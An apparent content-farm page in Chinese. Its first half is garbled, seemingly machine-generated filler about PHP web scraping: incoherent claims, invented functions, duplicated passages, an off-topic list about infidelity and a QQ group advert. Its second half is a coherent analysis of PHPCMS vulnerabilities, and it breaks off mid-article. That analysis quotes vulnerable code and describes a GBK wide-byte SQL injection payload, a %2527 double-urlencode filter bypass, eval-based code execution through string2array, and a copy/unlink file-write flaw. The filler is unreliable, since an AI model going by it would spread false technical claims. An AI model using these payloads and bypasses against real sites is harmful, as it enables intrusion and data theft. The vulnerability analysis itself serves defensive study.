安卓安卓可以自己定義我建立了一個(gè)專(zhuān)門(mén)的部門(mén)來(lái)做這些,然后用的是比較先進(jìn)的,男女通用的系統,然后做這些事情要一張表設定五套數據庫,一張表設定三套類(lèi)似whois的url,三套類(lèi)似pptv的設定。安卓不了解,蘋(píng)果的話(huà)各個(gè)部門(mén)的數據都是要手動(dòng)上傳的,但是實(shí)際上編程比這個(gè)重要的多。我建議每個(gè)部門(mén)自己設定一個(gè)編號,里面放數據庫名字,然后先不編程直接拷貝每個(gè)數據庫的url。
這樣不需要。你要了解法律風(fēng)險點(diǎn)。按照這個(gè)數據庫名字做一張大的模型表。每一個(gè)數據庫的url。然后就能解決這個(gè)問(wèn)題了。至于excel,admin什么的,那才是重點(diǎn)。 查看全部
php抓取網(wǎng)頁(yè)數據插入數據庫存儲我做個(gè)基于web的
php抓取網(wǎng)頁(yè)數據插入數據庫存儲
我做個(gè)基于web的,算是nb一點(diǎn)的吧。微信上可以借鑒@薄荷給到的辦法,但是用起來(lái)并不如ipython,jupyter簡(jiǎn)單方便。如果用python3,你可以這樣搞。form_login,admin,username,password="secret"web.request(username,password)我這樣可以把用戶(hù)名和密碼中的任意一部分輸入,get請求更改,驗證登錄。直接輸入username/password的就是登錄了。
1.發(fā)現她出軌2.發(fā)現她不出軌3.被她發(fā)現出軌4.和她談以后她如果不離婚5.發(fā)現她出軌但又被她發(fā)現6.發(fā)現她出軌但她沒(méi)有選擇離婚7.發(fā)現她出軌但她后悔了8.分手9.再分手
應邀!出軌如果要報警需要取得對方身份信息,個(gè)人覺(jué)得很難辦。以我身邊接觸的情況的話(huà),至少要起訴對方和自己財產(chǎn)責任劃分、男方和女方責任劃分、對方對情感的處理需求,從這個(gè)角度說(shuō),這個(gè)問(wèn)題的數據庫管理自己要搞清楚,要對不同數據類(lèi)型分別存儲,不同的要求目前普遍沒(méi)有成熟的方案。e-mail是否可以起訴對方?或者手機短信的歸類(lèi)管理系統的。因為是軟件系統工程師,又是民事案件,我是做涉外的,涉外當事人如果有爭議這個(gè)案子會(huì )轉到涉外仲裁。
email,微信,
安卓安卓可以自己定義我建立了一個(gè)專(zhuān)門(mén)的部門(mén)來(lái)做這些,然后用的是比較先進(jìn)的,男女通用的系統,然后做這些事情要一張表設定五套數據庫,一張表設定三套類(lèi)似whois的url,三套類(lèi)似pptv的設定。安卓不了解,蘋(píng)果的話(huà)各個(gè)部門(mén)的數據都是要手動(dòng)上傳的,但是實(shí)際上編程比這個(gè)重要的多。我建議每個(gè)部門(mén)自己設定一個(gè)編號,里面放數據庫名字,然后先不編程直接拷貝每個(gè)數據庫的url。
這樣不需要。你要了解法律風(fēng)險點(diǎn)。按照這個(gè)數據庫名字做一張大的模型表。每一個(gè)數據庫的url。然后就能解決這個(gè)問(wèn)題了。至于excel,admin什么的,那才是重點(diǎn)。
php抓取網(wǎng)頁(yè)數據插入數據庫:代碼:然后改為$sql
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 68 次瀏覽 ? 2022-05-26 19:06
php抓取網(wǎng)頁(yè)數據插入數據庫:代碼:然后改為$sql='select*from${$data}wherename='.$_get['tablename'];';?>
sql_exec:將1轉換為string
<p>首先呢php,jsp都需要用到內聯(lián)函數一、使用io_string_exec()函數將所有io事件處理函數轉換為string類(lèi)型,同時(shí)保留返回值,為所有string類(lèi)型的參數提供容器轉換:傳遞參數:io_string_exec函數內部使用read_string()函數將數據讀入內存io_string_exec()函數內部使用write_string()函數將數據寫(xiě)入內存io_string_exec()函數內部使用exist()判斷是否為空exist()判斷是否有缺失值fori=1;i 查看全部
php抓取網(wǎng)頁(yè)數據插入數據庫:代碼:然后改為$sql
php抓取網(wǎng)頁(yè)數據插入數據庫:代碼:然后改為$sql='select*from${$data}wherename='.$_get['tablename'];';?>
sql_exec:將1轉換為string
<p>首先呢php,jsp都需要用到內聯(lián)函數一、使用io_string_exec()函數將所有io事件處理函數轉換為string類(lèi)型,同時(shí)保留返回值,為所有string類(lèi)型的參數提供容器轉換:傳遞參數:io_string_exec函數內部使用read_string()函數將數據讀入內存io_string_exec()函數內部使用write_string()函數將數據寫(xiě)入內存io_string_exec()函數內部使用exist()判斷是否為空exist()判斷是否有缺失值fori=1;i
php抓取網(wǎng)頁(yè)數據插入數據庫項目地址:建議在linux環(huán)境下進(jìn)行開(kāi)發(fā)
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 105 次瀏覽 ? 2022-08-13 11:29
php抓取網(wǎng)頁(yè)數據插入數據庫項目地址:建議在linux環(huán)境下進(jìn)行開(kāi)發(fā),ide推薦phpstorm和webstorm,安裝phpstorm后可以免了安裝數據庫工具lnmp這一步。
這個(gè)php抓取網(wǎng)頁(yè)是小型的爬蟲(chóng),時(shí)長(cháng)又比較短,你都直接用phpscrapy封裝一個(gè)就可以,容易學(xué),最好買(mǎi)視頻教程,講得好容易跟上,自己寫(xiě)代碼這個(gè)太久遠了,學(xué)習的時(shí)候可以看看3本書(shū)1。headfirstheadfirstjavascript權威指南這是講javascript的2。headfirstjavascript這是講headfirst本身原理的3。
scrapyscrapystartproject:buildselector3。3spiderforwebdomsecurity。
別配置了,這個(gè)類(lèi)型直接從。
你放個(gè)jpg過(guò)來(lái)讓我看看嗎?不能手工刷點(diǎn)關(guān)鍵的信息嗎?
沒(méi)啥技術(shù)含量就拿log里的信息套著(zhù)寫(xiě)
謝邀:1.爬蟲(chóng)很多種,如果題主沒(méi)接觸過(guò)那最好先從套接字出發(fā)2.爬蟲(chóng)需要學(xué)習一點(diǎn)點(diǎn)前端知識,具體用戶(hù)畫(huà)像請參考javascript相關(guān)知識,然后帶有屬性標簽的信息就是數據了3.爬蟲(chóng)只需要在headers里放入目標的useragent就可以了,數據結構不變,變的是useragent。4.還有爬蟲(chóng)可以考慮先自己寫(xiě)幾個(gè)小的,整合成一個(gè)規模小的,到時(shí)候學(xué)習維護也比較容易。
用數據庫存點(diǎn)東西,寫(xiě)爬蟲(chóng)程序多麻煩5.可以自己裝個(gè)iis之類(lèi)的來(lái)跑起來(lái),看看效果,如果前端實(shí)在搞不定就再換個(gè)程序員。6.成熟的爬蟲(chóng)服務(wù)比如ecshop,可以提供定制的robots協(xié)議,如果題主用過(guò)相關(guān)的服務(wù),可以建議后臺管理頁(yè)面弄一個(gè)定制robots,這樣更直觀(guān)些。7.其實(shí)很多服務(wù)都很全,比如淘寶。8.最后,以后爬蟲(chóng)想做就做,別給這個(gè)圈子壓力太大,還有“百度都可以做但你不能做”這種觀(guān)念。
如果認準繼續做爬蟲(chóng),可以關(guān)注相關(guān)人員,多投遞簡(jiǎn)歷,如果想創(chuàng )業(yè),建議從php開(kāi)始,目前現在的情況php服務(wù)器什么的確實(shí)比較便宜,做起來(lái)容易。歡迎加入php爬蟲(chóng)qq群,群號:623118093。 查看全部
php抓取網(wǎng)頁(yè)數據插入數據庫項目地址:建議在linux環(huán)境下進(jìn)行開(kāi)發(fā)
php抓取網(wǎng)頁(yè)數據插入數據庫項目地址:建議在linux環(huán)境下進(jìn)行開(kāi)發(fā),ide推薦phpstorm和webstorm,安裝phpstorm后可以免了安裝數據庫工具lnmp這一步。
這個(gè)php抓取網(wǎng)頁(yè)是小型的爬蟲(chóng),時(shí)長(cháng)又比較短,你都直接用phpscrapy封裝一個(gè)就可以,容易學(xué),最好買(mǎi)視頻教程,講得好容易跟上,自己寫(xiě)代碼這個(gè)太久遠了,學(xué)習的時(shí)候可以看看3本書(shū)1。headfirstheadfirstjavascript權威指南這是講javascript的2。headfirstjavascript這是講headfirst本身原理的3。

scrapyscrapystartproject:buildselector3。3spiderforwebdomsecurity。
別配置了,這個(gè)類(lèi)型直接從。
你放個(gè)jpg過(guò)來(lái)讓我看看嗎?不能手工刷點(diǎn)關(guān)鍵的信息嗎?

沒(méi)啥技術(shù)含量就拿log里的信息套著(zhù)寫(xiě)
謝邀:1.爬蟲(chóng)很多種,如果題主沒(méi)接觸過(guò)那最好先從套接字出發(fā)2.爬蟲(chóng)需要學(xué)習一點(diǎn)點(diǎn)前端知識,具體用戶(hù)畫(huà)像請參考javascript相關(guān)知識,然后帶有屬性標簽的信息就是數據了3.爬蟲(chóng)只需要在headers里放入目標的useragent就可以了,數據結構不變,變的是useragent。4.還有爬蟲(chóng)可以考慮先自己寫(xiě)幾個(gè)小的,整合成一個(gè)規模小的,到時(shí)候學(xué)習維護也比較容易。
用數據庫存點(diǎn)東西,寫(xiě)爬蟲(chóng)程序多麻煩5.可以自己裝個(gè)iis之類(lèi)的來(lái)跑起來(lái),看看效果,如果前端實(shí)在搞不定就再換個(gè)程序員。6.成熟的爬蟲(chóng)服務(wù)比如ecshop,可以提供定制的robots協(xié)議,如果題主用過(guò)相關(guān)的服務(wù),可以建議后臺管理頁(yè)面弄一個(gè)定制robots,這樣更直觀(guān)些。7.其實(shí)很多服務(wù)都很全,比如淘寶。8.最后,以后爬蟲(chóng)想做就做,別給這個(gè)圈子壓力太大,還有“百度都可以做但你不能做”這種觀(guān)念。
如果認準繼續做爬蟲(chóng),可以關(guān)注相關(guān)人員,多投遞簡(jiǎn)歷,如果想創(chuàng )業(yè),建議從php開(kāi)始,目前現在的情況php服務(wù)器什么的確實(shí)比較便宜,做起來(lái)容易。歡迎加入php爬蟲(chóng)qq群,群號:623118093。
使用php抓取網(wǎng)頁(yè)數據插入數據庫的方法總結??!
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 84 次瀏覽 ? 2022-08-03 10:08
php抓取網(wǎng)頁(yè)數據插入數據庫是php開(kāi)發(fā)的一個(gè)常見(jiàn)模式。要在不動(dòng)動(dòng)手的情況下將非結構化的數據轉化為結構化的數據,這有著(zhù)一定的難度。但是因為php只需要寫(xiě)一行代碼,所以通過(guò)利用phpstorm這樣的工具就可以輕松完成php抓取網(wǎng)頁(yè)數據插入數據庫的方法。下面我就總結下使用phpstorm將文本進(jìn)行轉化的模板。
1.下載phpstorm插件,不然打開(kāi)網(wǎng)頁(yè)文件和從代碼頁(yè)面會(huì )有莫名問(wèn)題(這個(gè)我深有體會(huì ),比如我在打開(kāi)常用的一些名片中文信息網(wǎng)站時(shí),無(wú)法打開(kāi),我使用命令提示符netshwinsockreset之后sublimetext會(huì )將整個(gè)文件名都寫(xiě)入當前用戶(hù)目錄)。2.將網(wǎng)頁(yè)文件或者php文件直接拖拽到軟件內即可。
3.可以生成報告里的3d數據庫表。4.可以支持正則表達式和圖片文件,都是php寫(xiě)的。5.下次寫(xiě)blog的時(shí)候可以把上次沒(méi)有打開(kāi)的文件再次發(fā)出來(lái)。歡迎fans。
每當我都會(huì )被那個(gè)xx軟件給坑,在我當時(shí)打開(kāi)一個(gè)wordpress網(wǎng)站時(shí),請求頭加上那個(gè)xx,然后大到整個(gè)對數據庫的數據量大到目標域名服務(wù)器攔截不到,小到你這個(gè)content目錄下需要存儲多少東西都可以通過(guò)xx處理。我會(huì )告訴你我還試著(zhù)通過(guò)他們的自助工具下載了半天不停點(diǎn)擊那個(gè)按鈕的嗎?我已經(jīng)不是單純的用php獲取數據了,我是用php完成全部任務(wù)。
還有http_request_response的話(huà),請求的時(shí)候自帶有一個(gè)localcache緩存的地方可以存放,我這邊拿他舉例子,你告訴他用php下載個(gè)什么東西,他直接啟動(dòng)自己那個(gè)工具,大不了就是給你加上那個(gè)jscssjpg.至于傳統wordpress,他說(shuō)他可以自動(dòng)識別(yeah),但如果你真的真的要寫(xiě)代碼,大膽試著(zhù)看看下面我要介紹的吧,相比于你在php里面寫(xiě),不用多說(shuō),來(lái)我給你介紹一些抓取的技巧吧。
我的logicalimage就在我這里,你下載之后不說(shuō)download,直接copy??梢宰ト『芏嗑W(wǎng)站。使用curl庫來(lái)進(jìn)行包含cookie/session的數據抓?。ū热珙?lèi)似木馬軟件/廣告過(guò)濾器)mysqldatabase/jdbcstubclientforphp抓取整站。我使用header記錄你的頭部信息。
可以在很大程度上避免其他人抓取你的數據,比如給第三方賬號發(fā)消息封號。#@黃銅的網(wǎng)站抓取腳本代碼:installthewordpressphp-ftpspidersandjoindownloader@黃銅request.jsonfromftp.php_navigate('/');ifnotisaccessthenfail@黃銅fromdownload.json;i。 查看全部
使用php抓取網(wǎng)頁(yè)數據插入數據庫的方法總結??!
php抓取網(wǎng)頁(yè)數據插入數據庫是php開(kāi)發(fā)的一個(gè)常見(jiàn)模式。要在不動(dòng)動(dòng)手的情況下將非結構化的數據轉化為結構化的數據,這有著(zhù)一定的難度。但是因為php只需要寫(xiě)一行代碼,所以通過(guò)利用phpstorm這樣的工具就可以輕松完成php抓取網(wǎng)頁(yè)數據插入數據庫的方法。下面我就總結下使用phpstorm將文本進(jìn)行轉化的模板。
1.下載phpstorm插件,不然打開(kāi)網(wǎng)頁(yè)文件和從代碼頁(yè)面會(huì )有莫名問(wèn)題(這個(gè)我深有體會(huì ),比如我在打開(kāi)常用的一些名片中文信息網(wǎng)站時(shí),無(wú)法打開(kāi),我使用命令提示符netshwinsockreset之后sublimetext會(huì )將整個(gè)文件名都寫(xiě)入當前用戶(hù)目錄)。2.將網(wǎng)頁(yè)文件或者php文件直接拖拽到軟件內即可。

3.可以生成報告里的3d數據庫表。4.可以支持正則表達式和圖片文件,都是php寫(xiě)的。5.下次寫(xiě)blog的時(shí)候可以把上次沒(méi)有打開(kāi)的文件再次發(fā)出來(lái)。歡迎fans。
每當我都會(huì )被那個(gè)xx軟件給坑,在我當時(shí)打開(kāi)一個(gè)wordpress網(wǎng)站時(shí),請求頭加上那個(gè)xx,然后大到整個(gè)對數據庫的數據量大到目標域名服務(wù)器攔截不到,小到你這個(gè)content目錄下需要存儲多少東西都可以通過(guò)xx處理。我會(huì )告訴你我還試著(zhù)通過(guò)他們的自助工具下載了半天不停點(diǎn)擊那個(gè)按鈕的嗎?我已經(jīng)不是單純的用php獲取數據了,我是用php完成全部任務(wù)。

還有http_request_response的話(huà),請求的時(shí)候自帶有一個(gè)localcache緩存的地方可以存放,我這邊拿他舉例子,你告訴他用php下載個(gè)什么東西,他直接啟動(dòng)自己那個(gè)工具,大不了就是給你加上那個(gè)jscssjpg.至于傳統wordpress,他說(shuō)他可以自動(dòng)識別(yeah),但如果你真的真的要寫(xiě)代碼,大膽試著(zhù)看看下面我要介紹的吧,相比于你在php里面寫(xiě),不用多說(shuō),來(lái)我給你介紹一些抓取的技巧吧。
我的logicalimage就在我這里,你下載之后不說(shuō)download,直接copy??梢宰ト『芏嗑W(wǎng)站。使用curl庫來(lái)進(jìn)行包含cookie/session的數據抓?。ū热珙?lèi)似木馬軟件/廣告過(guò)濾器)mysqldatabase/jdbcstubclientforphp抓取整站。我使用header記錄你的頭部信息。
可以在很大程度上避免其他人抓取你的數據,比如給第三方賬號發(fā)消息封號。#@黃銅的網(wǎng)站抓取腳本代碼:installthewordpressphp-ftpspidersandjoindownloader@黃銅request.jsonfromftp.php_navigate('/');ifnotisaccessthenfail@黃銅fromdownload.json;i。
php抓取網(wǎng)頁(yè)數據插入數據庫 CMS真的安全嗎?洞鑒PHPCMS
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 133 次瀏覽 ? 2022-07-15 09:14
什么是PHPCMS
說(shuō)到PHPCMS,就不得不先提一提CMS。CMS全稱(chēng)“Content Management System”,意為“內容管理系統”,內容管理系統是一種位于WEB 前端(Web 服務(wù)器)和后端辦公系統或流程(內容創(chuàng )作、編輯)之間的軟件系統。內容的創(chuàng )作人員、編輯人員、發(fā)布人員使用內容管理系統來(lái)提交、修改、審批、發(fā)布內容。
這里指的“內容”可能包括文件、表格、圖片、數據庫中的數據甚至視頻等一切你想要發(fā)布到Internet、Intranet以及Extranet網(wǎng)站的信息。內容管理還可選地提供內容抓取工具,將第三方信息來(lái)源,比如將文本文件、HTML網(wǎng)頁(yè)、Web服務(wù)、關(guān)系數據庫等的內容自動(dòng)抓取,并經(jīng)分析處理后放到自身的內容庫中。
隨著(zhù)個(gè)性化的發(fā)展,內容管理還輔助WEB前端將內容以個(gè)性化的方式提供給內容使用者,即提供個(gè)性化的門(mén)戶(hù)框架,以基于WEB技術(shù)將內容更好地推送到用戶(hù)的瀏覽器端。
PHPCMS由國內80后知名創(chuàng )業(yè)者鐘勝輝于2005年創(chuàng )辦,是國內知名內容管理系統,它是一款基于 PHP 技術(shù)和 AJAX 技術(shù)的企業(yè)級網(wǎng)站內容管理系統,旨在幫助用戶(hù)解決日益復雜與重要的 Web 內容的創(chuàng )建、維護、發(fā)布和應用。
PHPCMS的創(chuàng )立趕上了CMS蓬勃發(fā)展的時(shí)期,而且它將模塊化開(kāi)發(fā)方式做為功能開(kāi)發(fā)形式,框架易于功能擴展,代碼維護,優(yōu)秀的二次開(kāi)發(fā)能力,可滿(mǎn)足所有網(wǎng)站的應用需求,所以迅速占領(lǐng)了國內的內容管理系統領(lǐng)域的大片領(lǐng)土。
從2005年P(guān)HPCMS第一版創(chuàng )立,到2007年推出PHPCMS 2007版本,再到2008年年底推出了PHPCMS 2008版本,四年三大版本均贏(yíng)得了市場(chǎng)好評,最終在2010年盛大在線(xiàn)收購PHPCMS后,PHPCMS推出了主線(xiàn)產(chǎn)品PHPCMS V9版本,到2017年5月推出了最新的V9.6.3版本,PHPCMS仍為現在國內領(lǐng)先的內容管理系統,是各大站長(cháng)建站的首選。
根據全網(wǎng)數據統計,使用PHPCMS的網(wǎng)站多達4萬(wàn)多個(gè),其中大部分集中在國內,共有約3萬(wàn)余個(gè),占使用量的75%以上,同時(shí),PHPCMS在教育行業(yè)約有上千個(gè)網(wǎng)站使用,在政府部門(mén)的網(wǎng)站中,也有上百個(gè)網(wǎng)站使用,其他則用于商業(yè)用途,具體分布如下圖:
從圖中可以看出,PHPCMS的使用范圍較廣,其中在政府部門(mén)中不乏市縣級政府這樣的客戶(hù);教育行業(yè)內,也不乏國內大學(xué)的校級、院系官網(wǎng)使用PHPCMS作為其發(fā)布信息的官方主頁(yè);商業(yè)用途中,PHPCMS也備受中小型企業(yè)的青睞。
PHPCMS的版本更新迭代速度以及功能齊全等特性也為其快速擴張提供發(fā)展基礎。但是,PHPCMS安全嗎?
PHPCMS安全嗎?
根據千里目實(shí)驗室漏洞庫的統計,PHPCMS從創(chuàng )辦到如今近十三年,產(chǎn)品三大版本的漏洞總量高達100余個(gè),其中核心版本PHPCMS2008系列、PHPCMS V9系列高危漏洞近40個(gè),在40個(gè)漏洞之中,全網(wǎng)公布的高可利用性漏洞個(gè)數也高達兩位數,其中尤其PHPCMS V9最多,所以,PHPCMS的安全性一直備受廣大用戶(hù)的質(zhì)疑。
經(jīng)過(guò)對PHPCMS高危漏洞的分析整理以及統計,PHPCMS的高危漏洞類(lèi)型主要有以下五類(lèi):SQL注入類(lèi)、命令執行類(lèi)、任意文件上傳類(lèi)、任意文件下載類(lèi)、任意文件讀取類(lèi)。其中SQL注入問(wèn)題是最為嚴重的一類(lèi),不管數量還是威脅性都是其中最高的,5類(lèi)漏洞的數量具體分布占比如下圖。接下來(lái)按照這些漏洞中威脅性最高的五類(lèi)漏洞來(lái)介紹PHPCMS的經(jīng)典漏洞,以及漏洞間的共性和漏洞成因。
2.1 SQL注入漏洞
PHPCMS框架層面分析
PHPCMS的核心版本中,PHPCMS v9的SQL注入問(wèn)題比PHPCMS 2008要嚴重很多,這是為什么?
首先從PHPCMS的框架上分析了這個(gè)問(wèn)題的原因。PHPCMS2008中對GPC變量的處理, 是在
include/common.inc.php中使用$db->escape($_GET)對輸入變量進(jìn)行轉義,實(shí)質(zhì)上是調用了
mysql_real_escape_string,PHP手冊上對這個(gè)函數的描述:
string mysql_real_escape_string ( string $unescaped_string [, resource $link_identifier ] )
#本函數將 unescaped_string中的特殊字符轉義,并考慮到連接的當前字符集,因此可以安全用于 mysql_query()
也就是說(shuō)PHPCMS 2008中使用mysql_real_escape_string對輸入變量進(jìn)行處理,是可以達到防注入效果的,PHPCMS2008中這樣的處理方式是比較安全的,但是也有其不合理的一面,原因在于:入口中對所有變量進(jìn)行mysql_real_escape_string處理,顯然并不是所有變量需要入庫,這樣處理必須影響性能(連接mysql->發(fā)送變量至mysql server ->mysql server轉義->返回給PHP程序)。
而PHPCMS V9在入口文件phpcms/libs/classes/param.class.php中采用以下方式:
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
new_addslashes其實(shí)就是調用了PHP內置的addslashes對GPC變量添加轉義斜線(xiàn),這就相當于php.ini中打開(kāi)了magic_quotes_gpc選項,PHP手冊中對magic_quotes_gpc的處理有以下描述:
Warning
This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.
從PHP 5.4.0開(kāi)始,已經(jīng)不支持magic_quotes_gpc了,這是為什么?
(1)性能:由于并不是每一段被轉義的數據都要插入數據庫的,如果所有進(jìn)入 PHP 的數據都被轉義的話(huà),那么會(huì )對程序的執行效率產(chǎn)生一定的影響。
(2)方便性:由于不是所有數據都需要轉義,在不需要轉義的地方看到轉義的數據就很煩。比如說(shuō)通過(guò)表單發(fā)送郵件,結果看到一大堆的 \'。
(3)安全問(wèn)題:事實(shí)上addslashes或開(kāi)啟magic_quotes_gpc并不能完全杜絕SQL注入。因為addslashes對有些特殊字符后跟上'(單引號)并不會(huì )加把這個(gè)'變成/',如:0xbf27的字就不會(huì ),所以縗' OR 1 limit 1/* 這個(gè)就存在。
針對這個(gè)問(wèn)題,PDO擴展而生,它主要解決兩個(gè)問(wèn)題:批量查詢(xún)時(shí)使用prepare提升查詢(xún)性能,使用參數化查詢(xún)從根本上杜絕SQL注入,但是PHPCMS V9的phpcms\libs\classes\param.class.php依舊使用以下代碼,所這就是造成PHPCMS中SQL注入如此之多的根本原因。:
private $route_config = '';
public function __construct() {
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
PHPCMS漏洞層面分析
從具體的漏洞來(lái)看,PHPCMS代碼中出現的SQL注入點(diǎn)主要有三種情況:
第一種情況,即外部可控參數未進(jìn)行任何過(guò)濾,這種問(wèn)題是因為系統設計人員代碼設計的不嚴謹導致。其中最經(jīng)典的PHPCMS v9 前臺用戶(hù)登錄處SQL注入漏洞產(chǎn)生即是因為這個(gè)原因:用戶(hù)在登錄頁(yè)面輸入用戶(hù)名與密碼,在\phpcms\modules\member\index.php的login方法中,username使用的is_username進(jìn)行了過(guò)濾而password沒(méi)有做任何處理。
$username = isset($_POST['username']) && is_username($_POST['username']) ?
trim($_POST['username']) : showmessage(L('username_empty'), HTTP_REFERER);
$password = isset($_POST['password']) && trim($_POST['password']) ?
trim($_POST['password']) : showmessage(L('password_empty'), HTTP_REFERER);
$cookietime = intval($_POST['cookietime']);
$synloginstr = ''; //同步登陸js代碼
所以,Password就成為了一個(gè)注入點(diǎn)。輸入的username以及password被傳到phpsso模塊中進(jìn)行認證,而phpsso模塊并沒(méi)有解析過(guò)濾用戶(hù)名與密碼就直接進(jìn)行認證,認證后直接將信息返回到登錄頁(yè)面的login方法中。
第二種情況也是SQL注入中的經(jīng)典情形,即代碼中處理外部輸入數據的時(shí)候使用了urldecode()函數。比如單引號被 urlencode 兩次以后是 %2527,然后 POST。PHP 內部在生成全局變量 $_POST 的時(shí)候會(huì )先 urldecode,得到 %27,然后 PHP 會(huì )檢查 Magic Quotes 的設置,但是無(wú)論是否開(kāi)啟 Magic Quotes,%27 都不會(huì )被 addslashes,因為這時(shí)根本沒(méi)有單引號。
但是這時(shí)如果你在 PHP 代碼中畫(huà)蛇添足的加上 urldecode,%27就變成單引號了,這樣就成功繞過(guò)了,這種情況出現的根源在于之前分析的PHPCMS使用magic_quotes_gpc這種方式來(lái)處理外部數據。
PHPCMS V9 WAP SQL注入漏洞即是因為這種情況:
function comment_list() {
$WAP = $this->wap;
$TYPE = $this->types;
$comment = pc_base::load_app_class('comment','comment');
pc_base::load_app_func('global','comment');
$typeid = intval($_GET['typeid']);
$GLOBALS['siteid'] = max($this->siteid,1);
$commentid = isset($_GET['commentid']) && trim(urldecode($_GET['commentid'])) ?
trim(urldecode($_GET['commentid'])) : exit('參數錯誤');
list($modules, $contentid, $siteid) = decode_commentid($commentid);
list($module, $catid) = explode('_', $modules);
$comment_setting_db = pc_base::load_model('comment_setting_model');
$setting = $comment_setting_db->get_one(array('siteid'=>$this->siteid));
這段代碼中在處理外部可控參數commentid的時(shí)候,使用了urldecode()函數,最終可以采用%2527的方式來(lái)進(jìn)行過(guò)濾繞過(guò)。
PHPCMS db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
$this->db->table_name = $tablename.'_data';
$rs = $this->db->get_one(array('id'=>$id)); //id傳入sql查詢(xún)語(yǔ)句
在函數中,代碼通過(guò)GET獲取'a_k'值,并調用sys_auth函數進(jìn)行解密,然后使用parse_str()來(lái)解析解密后的$a_k參數,將字符串解析到變量中,并同時(shí)解碼。在parse_str()解析的過(guò)程中,就將之前構造好的SQL注入paylaod賦值到各個(gè)參數,并且繞過(guò)了所有限制。
這個(gè)漏洞利用還有另一個(gè)關(guān)口,就是需要將payload使用sys_auth加密,同樣,PHPCMS一個(gè)任意文件下載漏洞也是這個(gè)原理:構造payload—>sys_auth加密—>帶入到phpcms\modules\content\
down.php文件init函數中—>進(jìn)行解碼并parse_str()解析,payload通過(guò)這種方式可以繞過(guò)所有過(guò)濾關(guān)口,最終成功觸發(fā)。
從之上的分析可知,所有的SQL注入漏洞其根源都在magic_quotes_gpc方法上。但是除了框架之外,如此多的SQL注入問(wèn)題就在于程序員對待代碼邏輯的不嚴謹,缺少對外部可控參數的過(guò)濾或者說(shuō)是缺少完全的過(guò)濾驗證過(guò)程,PHP是很靈活的語(yǔ)言,其代碼的邏輯嚴謹程度即代表著(zhù)它的安全性高低!
命令執行漏洞
命令執行是一類(lèi)威脅性非常大的漏洞類(lèi)型,大多數“一鍋端”(能夠getshell,控制全站)漏洞都是命令執行漏洞。由之前的漏洞數量分布可知,命令執行問(wèn)題的數量?jì)H次于SQL注入,但是它的嚴重程度可能更甚于SQL注入漏洞。
PHPCMS框架中的命令執行漏洞大部分都是由于一個(gè)函數,即global.func.php中的string2array()函數,函數代碼如下:
/**
* 將字符串轉換為數組
*
* @param string $data 字符串
* @return array 返回數組格式,如果,data為空,則返回空數組
*/
function string2array($data) {
$data = trim($data);
if($data == '') return array();
if(strpos($data, 'array')===0){
@eval("\$array = $data;");
}else{
if(strpos($data, '{\\')===0) $data = stripslashes($data);
$array=json_decode($data,true);
if(strtolower(CHARSET)=='gbk'){
$array = mult_iconv("UTF-8", "GBK//IGNORE", $array);
}
}
return $array;
}
該函數中使用了eval函數,這就代表所有調用這個(gè)函數的地方,如果存在過(guò)濾不嚴的情況,都會(huì )出現嚴重的命令執行漏洞。當然,我們不用懷疑程序員寫(xiě)BUG的能力,PHPCMS中多個(gè)命令執行漏洞都是因為外部參數未進(jìn)行嚴格過(guò)濾,就直接帶進(jìn)了string2array()中進(jìn)行處理,所以最終觸發(fā)了漏洞。
其中最經(jīng)典的一個(gè)漏洞PHPCMS 2008任意代碼執行漏洞,該漏洞利用門(mén)檻之低讓人大跌眼鏡,漏洞的出處就在yp/web/include/common.inc.php的menu變量:
$menu = string2array($menu);
$siteurl = $m_s_url[1] = $M['url'].'web/?'.$userid;
$introduceurl = $m_s_url[2] = $siteurl.'/category-introduce.html';
$newsurl = $m_s_url[3] = $siteurl.'/category-news.html';
$product = $m_s_url[4] = $siteurl.'/category-product.html';
$buyurl = $m_s_url[5] = $siteurl.'/category-buy.html';
$joburl = $m_s_url[6] = $siteurl.'/category-job.html';
$joburl = $m_s_url[7] = $siteurl.'/category-certificate.html';
$guestbookurl = $m_s_url[8] = $siteurl.'/category-guestbook.html';
$contacturl = $m_s_url[9] = $siteurl.'/category-contact.html';
Menu參數是一個(gè)外部可控參數,該參數被被傳進(jìn)后臺之后未經(jīng)過(guò)任何處理以及限制,導致在string2array()函數中直接被eval函數執行,導致遠程代碼執行漏洞。
而這個(gè)函數從PHPCMS 2008到PHPCMS V9一直都存在,而該系統程序員也只是在之后每一個(gè)調用此函數的地方都先對傳入參數進(jìn)行過(guò)濾或者限制,但是任何過(guò)濾限制都有被繞過(guò)的可能,之后的事實(shí)證明確實(shí)如此,比如之后再V9版本出現的PHPCMS V9 phpcms\
modules\dbsource\data.php出現的遠程命令執行漏洞,PHPCMSV9 /phpcms/modules/vote/
index.php代碼執行漏洞等均是因為這個(gè)原因。
所以,防止PHP程序出現代碼執行漏洞有一條金科玉律:永遠不要在代碼中使用eval。
因為,很少有人能夠掌控住這個(gè)函數,一旦控制不住,可能就會(huì )出現一個(gè)“一鍋端”的命令執行漏洞。
另外PHPCMS中出現的一個(gè)PHPCMS /phpsso_server/phpcms/modules/phpsso/index.php代碼執行漏洞,它的思想很特別、也很典型。該漏洞中存在的一個(gè)猛獸理論值得很多程序員以及安全研究人員來(lái)認真研究的?!懊瞳F來(lái)了,我們應該將其絕殺在門(mén)外,但是有些人非得把它放進(jìn)屋內,才殺之,你們難道不知道猛獸的嘴里可能叼了一個(gè)炸藥包嗎? 砰!!!結果全都玩完了…”。下面用具體代碼來(lái)解釋這個(gè)理論。
其中:
猛獸放進(jìn)室內:copy($_GET['src'],$_GET['dst']);
這條猛獸不安全,殺之:unlink($_GET['dst']);
炸藥包:$_GET['dst'] 此炸藥包的作用是生成惡意文件。
這段代碼中存在缺陷的地方就是將“猛獸”放進(jìn)市內的地方:
